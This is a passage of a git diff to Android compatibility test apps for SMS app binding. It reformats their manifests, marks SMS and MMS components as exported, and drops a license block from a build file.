+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService2"
-            android:exported="false"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService2"
+             android:exported="false"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app3/AndroidManifest.xml b/hostsidetests/appbinding/app/app3/AndroidManifest.xml
index ef89aba..e62c282 100644
--- a/hostsidetests/appbinding/app/app3/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app3/AndroidManifest.xml
@@ -15,71 +15,74 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="false"
-            android:process=":persistent">
+        <service android:name=".MyService"
+             android:exported="false"
+             android:process=":persistent">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app4/AndroidManifest.xml b/hostsidetests/appbinding/app/app4/AndroidManifest.xml
index 07bd5ed..b934439 100644
--- a/hostsidetests/appbinding/app/app4/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app4/AndroidManifest.xml
@@ -15,81 +15,83 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
-        <service
-            android:name=".MyService2"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService2"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app5/AndroidManifest.xml b/hostsidetests/appbinding/app/app5/AndroidManifest.xml
index 68f83a6..8397140 100644
--- a/hostsidetests/appbinding/app/app5/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app5/AndroidManifest.xml
@@ -15,63 +15,67 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- No target services. -->
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app6/AndroidManifest.xml b/hostsidetests/appbinding/app/app6/AndroidManifest.xml
index 68fea2c..4a256ea 100644
--- a/hostsidetests/appbinding/app/app6/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app6/AndroidManifest.xml
@@ -15,71 +15,74 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service found, but doesn't have :process. -->
-        <service
-            android:name=".MyService2"
-            android:exported="false"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService2"
+             android:exported="false"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app7/AndroidManifest.xml b/hostsidetests/appbinding/app/app7/AndroidManifest.xml
index e0a3e9d..3e173e2 100644
--- a/hostsidetests/appbinding/app/app7/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app7/AndroidManifest.xml
@@ -15,73 +15,76 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE"
-            android:enabled="false">
+        <service android:name=".MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE"
+             android:enabled="false">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/appb/AndroidManifest.xml b/hostsidetests/appbinding/app/appb/AndroidManifest.xml
index fac204e..4b6499e 100644
--- a/hostsidetests/appbinding/app/appb/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/appb/AndroidManifest.xml
@@ -15,72 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app.b" >
+     package="com.android.cts.appbinding.app.b">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name="com.android.cts.appbinding.app.MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name="com.android.cts.appbinding.app.MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name="com.android.cts.appbinding.app.MySendToActivity">
+        <activity android:name="com.android.cts.appbinding.app.MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name="com.android.cts.appbinding.app.sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.cts.appbinding.app.sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name="com.android.cts.appbinding.app.sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/hostside/Android.bp b/hostsidetests/appbinding/hostside/Android.bp
index 91dfba4..cb7ebbd 100644
--- a/hostsidetests/appbinding/hostside/Android.bp
+++ b/hostsidetests/appbinding/hostside/Android.bp
@@ -11,10 +11,6 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAppBindingHostTestCases",
     defaults: ["cts_defaults"],
